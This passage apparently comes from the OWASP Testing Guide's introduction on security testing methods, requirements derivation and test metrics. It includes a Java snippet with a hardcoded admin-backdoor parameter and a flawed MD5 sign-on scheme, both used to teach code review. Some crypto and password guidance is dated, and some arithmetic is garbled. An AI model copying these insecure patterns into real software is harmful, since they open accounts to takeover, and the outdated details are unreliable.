- Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.
- Exploring potential vulnerabilities - whether technical, operational, or management.
- Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective, by using threat scenarios or attack trees.

- Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic.

The output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for the testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications. [12].

Advantages:

- Practical attacker's view of the system
- Flexible
- Early in the SDLC

Disadvantages:

- Relatively new technique
- Good threat models don't automatically mean good software

Source Code Review

Overview

Source code review is the process of manually checking the source code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what's really going on, go straight to the source.” Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code somewhere. Unlike testing third party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes.

Many unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing, making source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black box testing.

Examples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or when fail open control procedures may be present. But keep in mind that operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein [13].

Advantages:

- Completeness and effectiveness
- Accuracy
- Fast (for competent reviewers)

Disadvantages:

- Requires highly skilled security developers
- Can miss issues in compiled libraries
- Cannot detect run-time errors easily
- The source code actually deployed might differ from the one being analyzed

For more on code review, checkout the [OWASP code review project](#).

Penetration Testing

Overview

Penetration testing has been a common technique used to test network security for many years. It is also commonly known as black box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely to find security vulnerabilities, without knowing the inner workings of the application itself. Typically, the penetration test team would have access to an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system.

While penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work is involved in finding and then exploiting known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Penetration testing tools have been developed that automate the process, but with the nature of web applications their effectiveness is usually poor.

Many people today use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. Gary McGraw in [14] summed up penetration testing well when he said, “If you fail a penetration test you know you have a very bad problem indeed. If you pass a penetration test you do not know that you don’t have a very bad problem”. However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site.

Advantages:

- Can be fast (and therefore cheap)
- Requires a relatively lower skill-set than source code review
- Tests the code that is actually being exposed

Disadvantages:

- Too late in the SDLC
- Front impact testing only.

The Need for a Balanced Approach

With so many techniques and approaches to testing the security of web applications it can be difficult to understand which techniques to use and when to use them. Experience shows that there is no right or wrong answer to the question of exactly what techniques should be used to build a testing framework. In fact all techniques should probably be used to test all the areas that need to be tested.

Although it is clear that there is no single technique that can be performed to effectively cover all security testing and ensure that all issues have been addressed, many companies adopt only one approach. The approach used has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too little too late” in the software development life cycle (SDLC).

The correct approach is a balanced approach that includes several techniques, from manual reviews to technical testing. A balanced approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available depending on the current SDLC phase.

Of course there are times and circumstances where only one technique is possible. For example, a test on a web application that has already been created, but where the testing party does not have access to the source code. In this

case, penetration testing is clearly better than no testing at all. However, the testing parties should be encouraged to challenge assumptions, such as no access to source code, and to explore the possibility of more complete testing.

A balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the software development life cycle. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.




Figure 3: Proportion of Test Effort in SDLC

The following figure shows a typical proportional representation overlaid onto testing techniques.




Figure 4: Proportion of Test Effort According to Test Technique

A Note about Web Application Scanners

Many organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, some fundamental issues need to be highlighted about why it is believed that automating black box testing is not (or will ever be) effective. However, highlighting these issues should not discourage the use of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.

Important: OWASP is currently working to develop a web application scanner benchmarking platform. The following examples show why automated black box testing is not effective.

Example 1: Magic Parameters

Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: `http://www.host/application?magic=value`

To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.

The designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value `sf8g7sfjdsurtsdieerwqredsgnfg8d` (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now:

```
http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d
```

Given that all of the other parameters were simple two- and three-character fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30^{28} permutations, or trillions of HTTP requests. That is an electron in a digital haystack.

The code for this exemplar Magic Parameter check may look like the following:

```
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
    String magic = "sf8g7sfjdsurtsdieerwqredsgnfg8d";
    boolean admin = magic.equals( request.getParameter("magic"));
    if (admin) doAdmin( request, response);
    else .... // normal processing
}
```

By looking in the code, the vulnerability practically leaps off the page as a potential problem.

Example 2: Bad Cryptography

Cryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: `Hash { username : date }`

When a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be.

As the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this security issue quickly. A black-box web application scanner would not have uncovered the vulnerability. It would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.

A Note about Static Source Code Review Tools

Many organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why this approach is not effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design, since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining

security issues due to coding errors, however significant manual effort is required to validate the findings.

Deriving Security Test Requirements

To have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations, and from positive and negative application requirements. It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.

Testing Objectives

One of the objectives of security testing is to validate that security controls operate as expected. This is documented via *security requirements* that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [OWASP Top Ten](#), as well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modelling, source code analysis, and penetration test.

Security Requirements Documentation

The first step in the documentation of security requirements is to understand the *business requirements*. A business requirement document can provide initial high-level information on the expected functionality of the application. For example, the main purpose of an application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.

A general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country or state where the application will operate. Some of these compliance guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial applications, the compliance with FFIEC guidelines for authentication [15] requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi-factor authentication.

Applicable industry standards for security need also to be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, the compliance with the PCI DSS [16] standard forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.

Another section of the checklist needs to enforce general requirements for compliance with the organization's information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such requirement can be: "a password complexity of six alphanumeric characters must be enforced by the authentication controls used by the application." When security requirements map to compliance rules a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to manage. Since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.

Security Requirements Validation

From the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as

lack of basic authentication, authorization, or encryption controls. More in depth, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personal identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization encryption standards. These might require that only certain algorithms and key lengths could be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).

From the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design, secure code analysis and reviews focus on identifying security issues in source code during development, and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.

Security issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black box test might first involve a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis until the malicious query is executed. Assuming the tester has the source code, she might learn from the source code analysis on how to construct the SQL attack vector that can exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user).

Threats and Countermeasures Taxonomies

A threat and countermeasure classification, which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. More specifically, the web application security frame [17] provides a classification (e.g. taxonomy) of vulnerabilities that can be documented in different guidelines and standards and validated with security tests.

The focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using STRIDE [18] as Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.

A threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying an hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.

Security Testing and Risk Analysis

Security requirements need to take into consideration the severity of the vulnerabilities to support a *risk mitigation strategy*. Assuming that the organization maintains a repository of vulnerabilities found in applications (i.e, a vulnerability knowledge base), the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.

For example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk can be fixed in further releases.

By considering the threat scenarios of exploiting common vulnerabilities it is possible to identify potential risks that the application security control needs to be security tested for. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization vulnerability knowledge base can be used to derive security risk driven tests cases to validate the most likely attack scenarios. For example, if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.

Deriving Functional and Non Functional Test Requirements

Functional Security Requirements

From the perspective of functional security requirements, the applicable standards, policies and regulations drive both the need for a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests. Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or “passwords need to be a minimum of six alphanumeric characters”. The validation of positive requirements consists of asserting the expected functionality and can be tested by re-creating the testing conditions and running the test according to predefined inputs. The results are then shown as as a fail or pass condition.

In order to validate security requirements with security tests, security requirements need to be function driven and they need to highlight the expected functionality (the what) and implicitly the implementation (the how). Examples of high-level security design requirements for authentication can be:

- Protect user credentials and shared secrets in transit and in storage
- Mask any confidential data in display (e.g., passwords, accounts)
- Lock the user account after a certain number of failed log in attempts
- Do not show specific validation errors to the user as a result of a failed log on
- Only allow passwords that are alphanumeric, include special characters and six characters minimum length, to limit the attack surface
- Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user answer to the challenge question, to prevent brute forcing of a password via password change.
- The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user temporary password, the new password, as well as the user answer to the challenge question.

Risk Driven Security Requirements

Security tests need also to be risk driven, that is they need to validate the application for unexpected behavior. These are also called “negative requirements”, since they specify what the application should not do.

Examples of negative requirements are:

- The application should not allow for the data to be altered or destroyed
- The application should not be compromised or misused for unauthorized financial transactions by a malicious user.

Negative requirements are more difficult to test, because there is no expected behavior to look for. This might require a threat analyst to come up with unforeseeable input conditions, causes, and effects. This is where security testing needs to be driven by risk analysis and threat modeling. The key is to document the threat scenarios and the functionality of the countermeasure as a factor to mitigate a threat.

For example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasure perspective:

- Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks
- Encrypt passwords using non reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks
- Lock out accounts after reaching a log on failure threshold and enforce password complexity to mitigate risk of brute force password attacks
- Display generic error messages upon validation of credentials to mitigate risk of account harvesting or enumeration
- Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks

Threat modeling tools such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users' messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.

Deriving Security Test Requirements Through Use and Misuse Cases

A prerequisite to describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing *use cases*. Use cases, in the graphical form as commonly used in software engineering, show the interactions of actors and their relations. They help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, preconditions and and post-conditions.


Similar to use cases, *misuse and abuse cases* [19] describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well-defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios.

Misuse scenarios allow the analysis of the application from the attacker's point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which of them are the most critical ones and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.

To derive security requirements from use and misuse case [20] it is important to define the functional scenarios and the negative scenarios and put these in graphical form. In the case of derivation of security requirements for authentication, for

example, the following step-by-step methodology can be followed.

- Step 1: Describe the Functional Scenario: User authenticates by supplying a username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.
- Step 2: Describe the Negative Scenario: Attacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker to guess which accounts are actually valid registered accounts (usernames). Then the attacker will try to brute force the password for such a valid account. A brute force attack to four minimum length all digit passwords can succeed with a limited number of attempts (i.e., 10^4).
- Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case: The graphical example in Figure below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering a username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.



- Step 4: Elicit The Security Requirements. In this case, the following security requirements for authentication are derived:
 1. Passwords need to be alphanumeric, lower and upper case and minimum of seven character length
 2. Accounts need to lockout after five unsuccessful log in attempt
 3. Log in error messages need to be generic

These security requirements need to be documented and tested.

Security Tests Integrated in Development and Testing Workflows

Security Testing in the Development Workflow

Security testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executable files. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.

The validation of source code before integration in application builds is usually the responsibility of the senior developer. Such senior developers are also the subject matter experts in software security and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master can look at the test results reported by the developers in the tool and grant approvals for checking in the code changes into the application build.

Security Testing in the Test Workflow

After components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white box testing, such as source code analysis, and black box testing, such as penetration testing. Gray box testing is similar to Black box testing. In a gray box testing it is assumed that the tester has some partial knowledge about the session management of the application, and that should help in understanding whether the log out and timeout functions are properly secured.

The target for the security tests is the complete system that will be potentially attacked and includes both the whole source code and the executable. One peculiarity of security testing during this phase is that it is possible for security testers to determine whether vulnerabilities can be exploited and expose the application to real risks. These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.

Usually testing engineers, rather than software developers, perform security tests when the application is in scope for integration system tests. Such testing engineers have security knowledge of web application vulnerabilities, black box and white box security testing techniques, and own the validation of security requirements in this phase. In order to perform such security tests, it is a prerequisite that security test cases are documented in the security testing guidelines and procedures.

A testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application functional testing is usually a responsibility of QA testers, while white-hat hackers or security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party assessment is not required (such as for auditing purposes).

Since these tests are the last resort for fixing vulnerabilities before the application is released to production, it is important that such issues are addressed as recommended by the testing team. The recommendations can include code, design, or configuration change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the development team to fix all high risk vulnerabilities before the application can be deployed, unless such risks are

acknowledged and accepted.

Developers' Security Tests

Security Testing in the Coding Phase: Unit Tests

From the developer's perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers' own coding artifacts (such as functions, methods, classes, APIs, and libraries) need to be functionally validated before being integrated into the application build.

The security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. If the unit test activity follows a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Secure code reviews and source code analysis through source code analysis tools help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.

A good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:

- Identity, Authentication & Access Control
- Input Validation & Encoding
- Encryption
- User and Session Management
- Error and Exception Handling
- Auditing and Logging

Developers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as Junit, Nunit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitation) and boundary checks for variables by asserting the expected functionality of the component.

The threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number).

At the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being de-allocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not reset to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.

Unit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked into

the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.

Threat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer's security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.

Source code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control, for example software artifacts cannot be checked into the build with high or medium severity coding issues.

Functional Testers' Security Tests

Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests

The main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.

The integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).

Real attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk driven tests and have the objective of testing the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.

Including security testing in the integration and validation phase is critical to identifying vulnerabilities due to integration of components as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of skills, including both software and security knowledge, that are not typical of security engineers. As a result organizations are often required to security-train their software developers on ethical hacking techniques, security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer's security testing knowledge. A so called “security test cases cheat list or check-list”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security.

The first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input and by checking if SQL exceptions are thrown back the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited.

A more in-depth security test might require the tester's knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example, source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.

The next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance tests environment (UAT) is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled and web root directory not cleaned from test and administration web pages.

Security Test Data Analysis and Reporting

Goals for Security Test Metrics and Measurements

Defining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement such as the total number of vulnerabilities found with security tests might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing. For example, reducing the number of vulnerabilities to an acceptable number (minimum) before the application is deployed into production.

Another manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.

In traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required to fix, and the cost to implement the fix.

A characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. A measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors and by validating the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical risks).

When evaluating the security posture of an application it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application during testing. One measure of application size is the number of lines of code (LOC) of the application. Typically, software quality defects range from about 7 to 10 defects per thousand lines of new and changed code [21]. Since testing can reduce the overall number by about 25% with one test alone, it is logical for larger size applications to be tested more often than smaller size applications.

When security testing is done in several phases of the SDLC, the test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities. It is less expensive to deal with vulnerabilities in the same phase of the SDLC

that they are found, rather than fixing them later in another phase.

Security test metrics can support security risk, cost, and defect management analysis when they are associated with tangible and timed goals such as:

- Reducing the overall number of vulnerabilities by 30%
- Fixing security issues by a certain deadline (e.g., before beta release)

Security test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.

Security test data can also support specific objectives of the security analysis. These objects could be compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security cost benefit analysis.

When security test data is reported it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced as well the effectiveness of the process.

Some examples of clues supported by security test data can be:

- Are vulnerabilities reduced to an acceptable level for release?
- How does the security quality of this product compare with similar software products?
- Are all security test requirements being met?
- What are the major root causes of security issues?
- How numerous are security flaws compared to security bugs?
- Which security activity is most effective in finding vulnerabilities?
- Which team is more productive in fixing security defects and vulnerabilities?
- Which percentage of overall vulnerabilities are high risk?
- Which tools are most effective in detecting security vulnerabilities?
- Which kind of security tests are most effective in finding vulnerabilities (e.g., white box vs. black box) tests?
- How many security issues are found during secure code reviews?
- How many security issues are found during secure design reviews?

